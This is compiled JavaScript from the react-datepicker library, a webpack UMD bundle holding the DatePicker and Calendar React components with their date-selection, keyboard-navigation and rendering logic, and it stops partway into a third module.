(function webpackUniversalModuleDefinition(root, factory) { if(typeof exports === 'object' && typeof module === 'object') module.exports = factory(require("react"), require("react-onclickoutside"), require("moment")); else if(typeof define === 'function' && define.amd) define(["react", "react-onclickoutside", "moment"], factory); else if(typeof exports === 'object') exports["DatePicker"] = factory(require("react"), require("react-onclickoutside"), require("moment")); else root["DatePicker"] = factory(root["React"], root["onClickOutside"], root["moment"]); })(this, function(__WEBPACK_EXTERNAL_MODULE_3__, __WEBPACK_EXTERNAL_MODULE_11__, __WEBPACK_EXTERNAL_MODULE_13__) { return /******/ (function(modules) { // webpackBootstrap /******/ // The module cache /******/ var installedModules = {}; /******/ // The require function /******/ function __webpack_require__(moduleId) { /******/ // Check if module is in cache /******/ if(installedModules[moduleId]) /******/ return installedModules[moduleId].exports; /******/ // Create a new module (and put it into the cache) /******/ var module = installedModules[moduleId] = { /******/ exports: {}, /******/ id: moduleId, /******/ loaded: false /******/ }; /******/ // Execute the module function /******/ modules[moduleId].call(module.exports, module, module.exports, __webpack_require__); /******/ // Flag the module as loaded /******/ module.loaded = true; /******/ // Return the exports of the module /******/ return module.exports; /******/ } /******/ // expose the modules object (__webpack_modules__) /******/ __webpack_require__.m = modules; /******/ // expose the module cache /******/ __webpack_require__.c = installedModules; /******/ // __webpack_public_path__ /******/ __webpack_require__.p = ""; /******/ // Load entry module and return exports /******/ return __webpack_require__(0); /******/ }) /************************************************************************/ /******/ ([ /* 0 */ /***/ (function(module, exports, __webpack_require__) { 'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }(); var _calendar = __webpack_require__(1); var _calendar2 = _interopRequireDefault(_calendar); var _react = __webpack_require__(3); var _react2 = _interopRequireDefault(_react); var _propTypes = __webpack_require__(4); var _propTypes2 = _interopRequireDefault(_propTypes); var _popper_component = __webpack_require__(21); var _popper_component2 = _interopRequireDefault(_popper_component); var _classnames2 = __webpack_require__(10); var _classnames3 = _interopRequireDefault(_classnames2); var _date_utils = __webpack_require__(12); var _reactOnclickoutside = __webpack_require__(11); var _reactOnclickoutside2 = _interopRequireDefault(_reactOnclickoutside); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _defineProperty(obj, key, value) { if (key in obj) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); } else { obj[key] = value; } return obj; } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; } function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; } var outsideClickIgnoreClass = 'react-datepicker-ignore-onclickoutside'; var WrappedCalendar = (0, _reactOnclickoutside2.default)(_calendar2.default); /** * General datepicker component. */ var DatePicker = function (_React$Component) { _inherits(DatePicker, _React$Component); _createClass(DatePicker, null, [{ key: 'defaultProps', get: function get() { return { allowSameDay: false, dateFormat: 'L', dateFormatCalendar: 'MMMM YYYY', onChange: function onChange() {}, disabled: false, disabledKeyboardNavigation: false, dropdownMode: 'scroll', onFocus: function onFocus() {}, onBlur: function onBlur() {}, onKeyDown: function onKeyDown() {}, onSelect: function onSelect() {}, onClickOutside: function onClickOutside() {}, onMonthChange: function onMonthChange() {}, monthsShown: 1, withPortal: false, shouldCloseOnSelect: true, showTimeSelect: false, timeIntervals: 30 }; } }]); function DatePicker(props) { _classCallCheck(this, DatePicker); var _this = _possibleConstructorReturn(this, (DatePicker.__proto__ || Object.getPrototypeOf(DatePicker)).call(this, props)); _this.getPreSelection = function () { return _this.props.openToDate ? (0, _date_utils.newDate)(_this.props.openToDate) : _this.props.selectsEnd && _this.props.startDate ? (0, _date_utils.newDate)(_this.props.startDate) : _this.props.selectsStart && _this.props.endDate ? (0, _date_utils.newDate)(_this.props.endDate) : (0, _date_utils.now)(_this.props.utcOffset); }; _this.calcInitialState = function () { var defaultPreSelection = _this.getPreSelection(); var minDate = (0, _date_utils.getEffectiveMinDate)(_this.props); var maxDate = (0, _date_utils.getEffectiveMaxDate)(_this.props); var boundedPreSelection = minDate && (0, _date_utils.isBefore)(defaultPreSelection, minDate) ? minDate : maxDate && (0, _date_utils.isAfter)(defaultPreSelection, maxDate) ? maxDate : defaultPreSelection; return { open: _this.props.startOpen || false, preventFocus: false, preSelection: _this.props.selected ? (0, _date_utils.newDate)(_this.props.selected) : boundedPreSelection }; }; _this.clearPreventFocusTimeout = function () { if (_this.preventFocusTimeout) { clearTimeout(_this.preventFocusTimeout); } }; _this.setFocus = function () { _this.input.focus(); }; _this.setOpen = function (open) { _this.setState({ open: open, preSelection: open && _this.state.open ? _this.state.preSelection : _this.calcInitialState().preSelection }); }; _this.handleFocus = function (event) { if (!_this.state.preventFocus) { _this.props.onFocus(event); _this.setOpen(true); } }; _this.cancelFocusInput = function () { clearTimeout(_this.inputFocusTimeout); _this.inputFocusTimeout = null; }; _this.deferFocusInput = function () { _this.cancelFocusInput(); _this.inputFocusTimeout = setTimeout(function () { return _this.setFocus(); }, 1); }; _this.handleDropdownFocus = function () { _this.cancelFocusInput(); }; _this.handleBlur = function (event) { if (_this.state.open) { _this.deferFocusInput(); } else { _this.props.onBlur(event); } }; _this.handleCalendarClickOutside = function (event) { if (!_this.props.inline) { _this.setOpen(false); } _this.props.onClickOutside(event); if (_this.props.withPortal) { event.preventDefault(); } }; _this.handleChange = function (event) { if (_this.props.onChangeRaw) { _this.props.onChangeRaw(event); if (event.isDefaultPrevented()) { return; } } _this.setState({ inputValue: event.target.value }); var date = (0, _date_utils.parseDate)(event.target.value, _this.props); if (date || !event.target.value) { _this.setSelected(date, event, true); } }; _this.handleSelect = function (date, event) { // Preventing onFocus event to fix issue // https://github.com/Hacker0x01/react-datepicker/issues/628 _this.setState({ preventFocus: true }, function () { _this.preventFocusTimeout = setTimeout(function () { return _this.setState({ preventFocus: false }); }, 50); return _this.preventFocusTimeout; }); _this.setSelected(date, event); if (!_this.props.shouldCloseOnSelect) { _this.setPreSelection(date); } else if (!_this.props.inline) { _this.setOpen(false); } }; _this.setSelected = function (date, event, keepInput) { var changedDate = date; if (changedDate !== null && (0, _date_utils.isDayDisabled)(changedDate, _this.props)) { return; } if (!(0, _date_utils.isSameDay)(_this.props.selected, changedDate) || _this.props.allowSameDay) { if (changedDate !== null) { if (_this.props.selected) { changedDate = (0, _date_utils.setTime)((0, _date_utils.newDate)(changedDate), { hour: (0, _date_utils.getHour)(_this.props.selected), minute: (0, _date_utils.getMinute)(_this.props.selected), second: (0, _date_utils.getSecond)(_this.props.selected) }); } _this.setState({ preSelection: changedDate }); } _this.props.onChange(changedDate, event); } _this.props.onSelect(changedDate, event); if (!keepInput) { _this.setState({ inputValue: null }); } }; _this.setPreSelection = function (date) { var isDateRangePresent = typeof _this.props.minDate !== 'undefined' && typeof _this.props.maxDate !== 'undefined'; var isValidDateSelection = isDateRangePresent && date ? (0, _date_utils.isDayInRange)(date, _this.props.minDate, _this.props.maxDate) : true; if (isValidDateSelection) { _this.setState({ preSelection: date }); } }; _this.handleTimeChange = function (time) { var selected = _this.props.selected ? _this.props.selected : _this.getPreSelection(); var changedDate = (0, _date_utils.setTime)((0, _date_utils.cloneDate)(selected), { hour: (0, _date_utils.getHour)(time), minute: (0, _date_utils.getMinute)(time) }); _this.setState({ preSelection: changedDate }); _this.props.onChange(changedDate); }; _this.onInputClick = function () { if (!_this.props.disabled) { _this.setOpen(true); } }; _this.onInputKeyDown = function (event) { _this.props.onKeyDown(event); var eventKey = event.key; if (!_this.state.open && !_this.props.inline) { if (eventKey !== 'Enter' && eventKey !== 'Escape' && eventKey !== 'Tab') { _this.onInputClick(); } return; } var copy = (0, _date_utils.newDate)(_this.state.preSelection); if (eventKey === 'Enter') { event.preventDefault(); if ((0, _date_utils.isMoment)(_this.state.preSelection) || (0, _date_utils.isDate)(_this.state.preSelection)) { _this.handleSelect(copy, event); !_this.props.shouldCloseOnSelect && _this.setPreSelection(copy); } else { _this.setOpen(false); } } else if (eventKey === 'Escape') { event.preventDefault(); _this.setOpen(false); } else if (eventKey === 'Tab') { _this.setOpen(false); } else if (!_this.props.disabledKeyboardNavigation) { var newSelection = void 0; switch (eventKey) { case 'ArrowLeft': event.preventDefault(); newSelection = (0, _date_utils.subtractDays)(copy, 1); break; case 'ArrowRight': event.preventDefault(); newSelection = (0, _date_utils.addDays)(copy, 1); break; case 'ArrowUp': event.preventDefault(); newSelection = (0, _date_utils.subtractWeeks)(copy, 1); break; case 'ArrowDown': event.preventDefault(); newSelection = (0, _date_utils.addWeeks)(copy, 1); break; case 'PageUp': event.preventDefault(); newSelection = (0, _date_utils.subtractMonths)(copy, 1); break; case 'PageDown': event.preventDefault(); newSelection = (0, _date_utils.addMonths)(copy, 1); break; case 'Home': event.preventDefault(); newSelection = (0, _date_utils.subtractYears)(copy, 1); break; case 'End': event.preventDefault(); newSelection = (0, _date_utils.addYears)(copy, 1); break; } _this.setPreSelection(newSelection); } }; _this.onClearClick = function (event) { event.preventDefault(); _this.props.onChange(null, event); _this.setState({ inputValue: null }); }; _this.renderCalendar = function () { if (!_this.props.inline && (!_this.state.open || _this.props.disabled)) { return null; } return _react2.default.createElement( WrappedCalendar, { ref: function ref(elem) { _this.calendar = elem; }, locale: _this.props.locale, dateFormat: _this.props.dateFormatCalendar, useWeekdaysShort: _this.props.useWeekdaysShort, dropdownMode: _this.props.dropdownMode, selected: _this.props.selected, preSelection: _this.state.preSelection, onSelect: _this.handleSelect, onWeekSelect: _this.props.onWeekSelect, openToDate: _this.props.openToDate, minDate: _this.props.minDate, maxDate: _this.props.maxDate, selectsStart: _this.props.selectsStart, selectsEnd: _this.props.selectsEnd, startDate: _this.props.startDate, endDate: _this.props.endDate, excludeDates: _this.props.excludeDates, filterDate: _this.props.filterDate, onClickOutside: _this.handleCalendarClickOutside, formatWeekNumber: _this.props.formatWeekNumber, highlightDates: _this.props.highlightDates, includeDates: _this.props.includeDates, inline: _this.props.inline, peekNextMonth: _this.props.peekNextMonth, showMonthDropdown: _this.props.showMonthDropdown, showWeekNumbers: _this.props.showWeekNumbers, showYearDropdown: _this.props.showYearDropdown, withPortal: _this.props.withPortal, forceShowMonthNavigation: _this.props.forceShowMonthNavigation, scrollableYearDropdown: _this.props.scrollableYearDropdown, todayButton: _this.props.todayButton, weekLabel: _this.props.weekLabel, utcOffset: _this.props.utcOffset, outsideClickIgnoreClass: outsideClickIgnoreClass, fixedHeight: _this.props.fixedHeight, monthsShown: _this.props.monthsShown, onDropdownFocus: _this.handleDropdownFocus, onMonthChange: _this.props.onMonthChange, dayClassName: _this.props.dayClassName, showTimeSelect: _this.props.showTimeSelect, onTimeChange: _this.handleTimeChange, timeFormat: _this.props.timeFormat, timeIntervals: _this.props.timeIntervals, minTime: _this.props.minTime, maxTime: _this.props.maxTime, excludeTimes: _this.props.excludeTimes, className: _this.props.calendarClassName, yearDropdownItemNumber: _this.props.yearDropdownItemNumber }, _this.props.children ); }; _this.renderDateInput = function () { var className = (0, _classnames3.default)(_this.props.className, _defineProperty({}, outsideClickIgnoreClass, _this.state.open)); var customInput = _this.props.customInput || _react2.default.createElement('input', { type: 'text' }); var inputValue = typeof _this.props.value === 'string' ? _this.props.value : typeof _this.state.inputValue === 'string' ? _this.state.inputValue : (0, _date_utils.safeDateFormat)(_this.props.selected, _this.props); return _react2.default.cloneElement(customInput, { ref: function ref(input) { _this.input = input; }, value: inputValue, onBlur: _this.handleBlur, onChange: _this.handleChange, onClick: _this.onInputClick, onFocus: _this.handleFocus, onKeyDown: _this.onInputKeyDown, id: _this.props.id, name: _this.props.name, autoFocus: _this.props.autoFocus, placeholder: _this.props.placeholderText, disabled: _this.props.disabled, autoComplete: _this.props.autoComplete, className: className, title: _this.props.title, readOnly: _this.props.readOnly, required: _this.props.required, tabIndex: _this.props.tabIndex }); }; _this.renderClearButton = function () { if (_this.props.isClearable && _this.props.selected != null) { return _react2.default.createElement('a', { className: 'react-datepicker__close-icon', href: '#', onClick: _this.onClearClick }); } else { return null; } }; _this.state = _this.calcInitialState(); return _this; } _createClass(DatePicker, [{ key: 'componentWillReceiveProps', value: function componentWillReceiveProps(nextProps) { var currentMonth = this.props.selected && (0, _date_utils.getMonth)(this.props.selected); var nextMonth = nextProps.selected && (0, _date_utils.getMonth)(nextProps.selected); if (this.props.inline && currentMonth !== nextMonth) { this.setPreSelection(nextProps.selected); } } }, { key: 'componentWillUnmount', value: function componentWillUnmount() { this.clearPreventFocusTimeout(); } }, { key: 'render', value: function render() { var calendar = this.renderCalendar(); if (this.props.inline && !this.props.withPortal) { return calendar; } if (this.props.withPortal) { return _react2.default.createElement( 'div', null, !this.props.inline ? _react2.default.createElement( 'div', { className: 'react-datepicker__input-container' }, this.renderDateInput(), this.renderClearButton() ) : null, this.state.open || this.props.inline ? _react2.default.createElement( 'div', { className: 'react-datepicker__portal' }, calendar ) : null ); } return _react2.default.createElement(_popper_component2.default, { className: this.props.popperClassName, hidePopper: !this.state.open || this.props.disabled, popperModifiers: this.props.popperModifiers, targetComponent: _react2.default.createElement( 'div', { className: 'react-datepicker__input-container' }, this.renderDateInput(), this.renderClearButton() ), popperContainer: this.props.popperContainer, popperComponent: calendar, popperPlacement: this.props.popperPlacement }); } }]); return DatePicker; }(_react2.default.Component); DatePicker.propTypes = { allowSameDay: _propTypes2.default.bool, autoComplete: _propTypes2.default.string, autoFocus: _propTypes2.default.bool, calendarClassName: _propTypes2.default.string, children: _propTypes2.default.node, className: _propTypes2.default.string, customInput: _propTypes2.default.element, dateFormat: _propTypes2.default.oneOfType([// eslint-disable-line react/no-unused-prop-types _propTypes2.default.string, _propTypes2.default.array]), dateFormatCalendar: _propTypes2.default.string, dayClassName: _propTypes2.default.func, disabled: _propTypes2.default.bool, disabledKeyboardNavigation: _propTypes2.default.bool, dropdownMode: _propTypes2.default.oneOf(['scroll', 'select']).isRequired, endDate: _propTypes2.default.object, excludeDates: _propTypes2.default.array, filterDate: _propTypes2.default.func, fixedHeight: _propTypes2.default.bool, formatWeekNumber: _propTypes2.default.func, highlightDates: _propTypes2.default.array, id: _propTypes2.default.string, includeDates: _propTypes2.default.array, inline: _propTypes2.default.bool, isClearable: _propTypes2.default.bool, locale: _propTypes2.default.string, maxDate: _propTypes2.default.object, minDate: _propTypes2.default.object, monthsShown: _propTypes2.default.number, name: _propTypes2.default.string, onBlur: _propTypes2.default.func, onChange: _propTypes2.default.func.isRequired, onSelect: _propTypes2.default.func, onWeekSelect: _propTypes2.default.func, onClickOutside: _propTypes2.default.func, onChangeRaw: _propTypes2.default.func, onFocus: _propTypes2.default.func, onKeyDown: _propTypes2.default.func, onMonthChange: _propTypes2.default.func, openToDate: _propTypes2.default.object, peekNextMonth: _propTypes2.default.bool, placeholderText: _propTypes2.default.string, popperContainer: _propTypes2.default.func, popperClassName: _propTypes2.default.string, // <PopperComponent/> props popperModifiers: _propTypes2.default.object, // <PopperComponent/> props popperPlacement: _propTypes2.default.oneOf(_popper_component.popperPlacementPositions), // <PopperComponent/> props readOnly: _propTypes2.default.bool, required: _propTypes2.default.bool, scrollableYearDropdown: _propTypes2.default.bool, selected: _propTypes2.default.object, selectsEnd: _propTypes2.default.bool, selectsStart: _propTypes2.default.bool, showMonthDropdown: _propTypes2.default.bool, showWeekNumbers: _propTypes2.default.bool, showYearDropdown: _propTypes2.default.bool, forceShowMonthNavigation: _propTypes2.default.bool, startDate: _propTypes2.default.object, startOpen: _propTypes2.default.bool, tabIndex: _propTypes2.default.number, title: _propTypes2.default.string, todayButton: _propTypes2.default.string, useWeekdaysShort: _propTypes2.default.bool, utcOffset: _propTypes2.default.number, value: _propTypes2.default.string, weekLabel: _propTypes2.default.string, withPortal: _propTypes2.default.bool, yearDropdownItemNumber: _propTypes2.default.number, shouldCloseOnSelect: _propTypes2.default.bool, showTimeSelect: _propTypes2.default.bool, timeFormat: _propTypes2.default.string, timeIntervals: _propTypes2.default.number, minTime: _propTypes2.default.object, maxTime: _propTypes2.default.object, excludeTimes: _propTypes2.default.array }; exports.default = DatePicker; /***/ }), /* 1 */ /***/ (function(module, exports, __webpack_require__) { 'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }(); var _year_dropdown = __webpack_require__(2); var _year_dropdown2 = _interopRequireDefault(_year_dropdown); var _month_dropdown = __webpack_require__(14); var _month_dropdown2 = _interopRequireDefault(_month_dropdown); var _month = __webpack_require__(16); var _month2 = _interopRequireDefault(_month); var _time = __webpack_require__(20); var _time2 = _interopRequireDefault(_time); var _react = __webpack_require__(3); var _react2 = _interopRequireDefault(_react); var _propTypes = __webpack_require__(4); var _propTypes2 = _interopRequireDefault(_propTypes); var _classnames = __webpack_require__(10); var _classnames2 = _interopRequireDefault(_classnames); var _date_utils = __webpack_require__(12); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; } function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; } var DROPDOWN_FOCUS_CLASSNAMES = ['react-datepicker__year-select', 'react-datepicker__month-select']; var isDropdownSelect = function isDropdownSelect() { var element = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {}; var classNames = (element.className || '').split(/\s+/); return DROPDOWN_FOCUS_CLASSNAMES.some(function (testClassname) { return classNames.indexOf(testClassname) >= 0; }); }; var Calendar = function (_React$Component) { _inherits(Calendar, _React$Component); _createClass(Calendar, null, [{ key: 'defaultProps', get: function get() { return { onDropdownFocus: function onDropdownFocus() {}, monthsShown: 1, forceShowMonthNavigation: false }; } }]); function Calendar(props) { _classCallCheck(this, Calendar); var _this = _possibleConstructorReturn(this, (Calendar.__proto__ || Object.getPrototypeOf(Calendar)).call(this, props)); _this.handleClickOutside = function (event) { _this.props.onClickOutside(event); }; _this.handleDropdownFocus = function (event) { if (isDropdownSelect(event.target)) { _this.props.onDropdownFocus(); } }; _this.getDateInView = function () { var _this$props = _this.props, preSelection = _this$props.preSelection, selected = _this$props.selected, openToDate = _this$props.openToDate, utcOffset = _this$props.utcOffset; var minDate = (0, _date_utils.getEffectiveMinDate)(_this.props); var maxDate = (0, _date_utils.getEffectiveMaxDate)(_this.props); var current = (0, _date_utils.now)(utcOffset); var initialDate = openToDate || selected || preSelection; if (initialDate) { return initialDate; } else { if (minDate && (0, _date_utils.isBefore)(current, minDate)) { return minDate; } else if (maxDate && (0, _date_utils.isAfter)(current, maxDate)) { return maxDate; } } return current; }; _this.localizeDate = function (date) { return (0, _date_utils.localizeDate)(date, _this.props.locale); }; _this.increaseMonth = function () { _this.setState({ date: (0, _date_utils.addMonths)((0, _date_utils.cloneDate)(_this.state.date), 1) }, function () { return _this.handleMonthChange(_this.state.date); }); }; _this.decreaseMonth = function () { _this.setState({ date: (0, _date_utils.subtractMonths)((0, _date_utils.cloneDate)(_this.state.date), 1) }, function () { return _this.handleMonthChange(_this.state.date); }); }; _this.handleDayClick = function (day, event) { return _this.props.onSelect(day, event); }; _this.handleDayMouseEnter = function (day) { return _this.setState({ selectingDate: day }); }; _this.handleMonthMouseLeave = function () { return _this.setState({ selectingDate: null }); }; _this.handleMonthChange = function (date) { if (_this.props.onMonthChange) { _this.props.onMonthChange(date); } }; _this.changeYear = function (year) { _this.setState({ date: (0, _date_utils.setYear)((0, _date_utils.cloneDate)(_this.state.date), year) }); }; _this.changeMonth = function (month) { _this.setState({ date: (0, _date_utils.setMonth)((0, _date_utils.cloneDate)(_this.state.date), month) }, function () { return _this.handleMonthChange(_this.state.date); }); }; _this.header = function () { var date = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : _this.state.date; var startOfWeek = (0, _date_utils.getStartOfWeek)((0, _date_utils.cloneDate)(date)); var dayNames = []; if (_this.props.showWeekNumbers) { dayNames.push(_react2.default.createElement( 'div', { key: 'W', className: 'react-datepicker__day-name' }, _this.props.weekLabel || '#' )); } return dayNames.concat([0, 1, 2, 3, 4, 5, 6].map(function (offset) { var day = (0, _date_utils.addDays)((0, _date_utils.cloneDate)(startOfWeek), offset); var localeData = (0, _date_utils.getLocaleData)(day); var weekDayName = _this.props.useWeekdaysShort ? (0, _date_utils.getWeekdayShortInLocale)(localeData, day) : (0, _date_utils.getWeekdayMinInLocale)(localeData, day); return _react2.default.createElement( 'div', { key: offset, className: 'react-datepicker__day-name' }, weekDayName ); })); }; _this.renderPreviousMonthButton = function () { if (!_this.props.forceShowMonthNavigation && (0, _date_utils.allDaysDisabledBefore)(_this.state.date, 'month', _this.props)) { return; } return _react2.default.createElement('a', { className: 'react-datepicker__navigation react-datepicker__navigation--previous', onClick: _this.decreaseMonth }); }; _this.renderNextMonthButton = function () { if (!_this.props.forceShowMonthNavigation && (0, _date_utils.allDaysDisabledAfter)(_this.state.date, 'month', _this.props)) { return; } var classes = ['react-datepicker__navigation', 'react-datepicker__navigation--next']; if (_this.props.showTimeSelect) { classes.push('react-datepicker__navigation--next--with-time'); } if (_this.props.todayButton) { classes.push('react-datepicker__navigation--next--with-today-button'); } return _react2.default.createElement('a', { className: classes.join(' '), onClick: _this.increaseMonth }); }; _this.renderCurrentMonth = function () { var date = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : _this.state.date; var classes = ['react-datepicker__current-month']; if (_this.props.showYearDropdown) { classes.push('react-datepicker__current-month--hasYearDropdown'); } if (_this.props.showMonthDropdown) { classes.push('react-datepicker__current-month--hasMonthDropdown'); } return _react2.default.createElement( 'div', { className: classes.join(' ') }, (0, _date_utils.formatDate)(date, _this.props.dateFormat) ); }; _this.renderYearDropdown = function () { var overrideHide = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : false; if (!_this.props.showYearDropdown || overrideHide) { return; } return _react2.default.createElement(_year_dropdown2.default, { dropdownMode: _this.props.dropdownMode, onChange: _this.changeYear, minDate: _this.props.minDate, maxDate: _this.props.maxDate, year: (0, _date_utils.getYear)(_this.state.date), scrollableYearDropdown: _this.props.scrollableYearDropdown, yearDropdownItemNumber: _this.props.yearDropdownItemNumber }); }; _this.renderMonthDropdown = function () { var overrideHide = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : false; if (!_this.props.showMonthDropdown) { return; } return _react2.default.createElement(_month_dropdown2.default, { dropdownMode: _this.props.dropdownMode, locale: _this.props.locale, dateFormat: _this.props.dateFormat, onChange: _this.changeMonth, month: (0, _date_utils.getMonth)(_this.state.date) }); }; _this.renderTodayButton = function () { if (!_this.props.todayButton) { return; } return _react2.default.createElement( 'div', { className: 'react-datepicker__today-button', onClick: function onClick(e) { return _this.props.onSelect((0, _date_utils.getStartOfDate)((0, _date_utils.now)(_this.props.utcOffset)), e); } }, _this.props.todayButton ); }; _this.renderMonths = function () { var monthList = []; for (var i = 0; i < _this.props.monthsShown; ++i) { var monthDate = (0, _date_utils.addMonths)((0, _date_utils.cloneDate)(_this.state.date), i); var monthKey = 'month-' + i; monthList.push(_react2.default.createElement( 'div', { key: monthKey, ref: function ref(div) { _this.monthContainer = div; }, className: 'react-datepicker__month-container' }, _react2.default.createElement( 'div', { className: 'react-datepicker__header' }, _this.renderCurrentMonth(monthDate), _react2.default.createElement( 'div', { className: 'react-datepicker__header__dropdown react-datepicker__header__dropdown--' + _this.props.dropdownMode, onFocus: _this.handleDropdownFocus }, _this.renderMonthDropdown(i !== 0), _this.renderYearDropdown(i !== 0) ), _react2.default.createElement( 'div', { className: 'react-datepicker__day-names' }, _this.header(monthDate) ) ), _react2.default.createElement(_month2.default, { day: monthDate, dayClassName: _this.props.dayClassName, onDayClick: _this.handleDayClick, onDayMouseEnter: _this.handleDayMouseEnter, onMouseLeave: _this.handleMonthMouseLeave, onWeekSelect: _this.props.onWeekSelect, formatWeekNumber: _this.props.formatWeekNumber, minDate: _this.props.minDate, maxDate: _this.props.maxDate, excludeDates: _this.props.excludeDates, highlightDates: _this.props.highlightDates, selectingDate: _this.state.selectingDate, includeDates: _this.props.includeDates, inline: _this.props.inline, fixedHeight: _this.props.fixedHeight, filterDate: _this.props.filterDate, preSelection: _this.props.preSelection, selected: _this.props.selected, selectsStart: _this.props.selectsStart, selectsEnd: _this.props.selectsEnd, showWeekNumbers: _this.props.showWeekNumbers, startDate: _this.props.startDate, endDate: _this.props.endDate, peekNextMonth: _this.props.peekNextMonth, utcOffset: _this.props.utcOffset }) )); } return monthList; }; _this.renderTimeSection = function () { if (_this.props.showTimeSelect) { return _react2.default.createElement(_time2.default, { selected: _this.props.selected, onChange: _this.props.onTimeChange, format: _this.props.timeFormat, intervals: _this.props.timeIntervals, minTime: _this.props.minTime, maxTime: _this.props.maxTime, excludeTimes: _this.props.excludeTimes, todayButton: _this.props.todayButton, showMonthDropdown: _this.props.showMonthDropdown, showYearDropdown: _this.props.showYearDropdown, withPortal: _this.props.withPortal, monthRef: _this.state.monthContainer }); } else { return; } }; _this.state = { date: _this.localizeDate(_this.getDateInView()), selectingDate: null, monthContainer: _this.monthContainer }; return _this; } _createClass(Calendar, [{ key: 'componentDidMount', value: function componentDidMount() { var _this2 = this; /* monthContainer height is needed in time component to determine the height for the ul in the time component. setState here so height is given after final component layout is rendered */ if (this.props.showTimeSelect) { this.assignMonthContainer = function () { _this2.setState({ monthContainer: _this2.monthContainer }); }(); } } }, { key: 'componentWillReceiveProps', value: function componentWillReceiveProps(nextProps) { if (nextProps.preSelection && !(0, _date_utils.isSameDay)(nextProps.preSelection, this.props.preSelection)) { this.setState({ date: this.localizeDate(nextProps.preSelection) }); } else if (nextProps.openToDate && !(0, _date_utils.isSameDay)(nextProps.openToDate, this.props.openToDate)) { this.setState({ date: this.localizeDate(nextProps.openToDate) }); } } }, { key: 'render', value: function render() { return _react2.default.createElement( 'div', { className: (0, _classnames2.default)('react-datepicker', this.props.className) }, _react2.default.createElement('div', { className: 'react-datepicker__triangle' }), this.renderPreviousMonthButton(), this.renderNextMonthButton(), this.renderMonths(), this.renderTodayButton(), this.renderTimeSection(), this.props.children ); } }]); return Calendar; }(_react2.default.Component); Calendar.propTypes = { className: _propTypes2.default.string, children: _propTypes2.default.node, dateFormat: _propTypes2.default.oneOfType([_propTypes2.default.string, _propTypes2.default.array]).isRequired, dayClassName: _propTypes2.default.func, dropdownMode: _propTypes2.default.oneOf(['scroll', 'select']).isRequired, endDate: _propTypes2.default.object, excludeDates: _propTypes2.default.array, filterDate: _propTypes2.default.func, fixedHeight: _propTypes2.default.bool, formatWeekNumber: _propTypes2.default.func, highlightDates: _propTypes2.default.array, includeDates: _propTypes2.default.array, inline: _propTypes2.default.bool, locale: _propTypes2.default.string, maxDate: _propTypes2.default.object, minDate: _propTypes2.default.object, monthsShown: _propTypes2.default.number, onClickOutside: _propTypes2.default.func.isRequired, onMonthChange: _propTypes2.default.func, forceShowMonthNavigation: _propTypes2.default.bool, onDropdownFocus: _propTypes2.default.func, onSelect: _propTypes2.default.func.isRequired, onWeekSelect: _propTypes2.default.func, showTimeSelect: _propTypes2.default.bool, timeFormat: _propTypes2.default.string, timeIntervals: _propTypes2.default.number, onTimeChange: _propTypes2.default.func, minTime: _propTypes2.default.object, maxTime: _propTypes2.default.object, excludeTimes: _propTypes2.default.array, openToDate: _propTypes2.default.object, peekNextMonth: _propTypes2.default.bool, scrollableYearDropdown: _propTypes2.default.bool, preSelection: _propTypes2.default.object, selected: _propTypes2.default.object, selectsEnd: _propTypes2.default.bool, selectsStart: _propTypes2.default.bool, showMonthDropdown: _propTypes2.default.bool, showWeekNumbers: _propTypes2.default.bool, showYearDropdown: _propTypes2.default.bool, startDate: _propTypes2.default.object, todayButton: _propTypes2.default.string, useWeekdaysShort: _propTypes2.default.bool, withPortal: _propTypes2.default.bool, utcOffset: _propTypes2.default.number, weekLabel: _propTypes2.default.string, yearDropdownItemNumber: _propTypes2.default.number }; exports.default = Calendar; /***/ }), /* 2 */ /***/ (function(module, exports, __webpack_require__) { 'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = 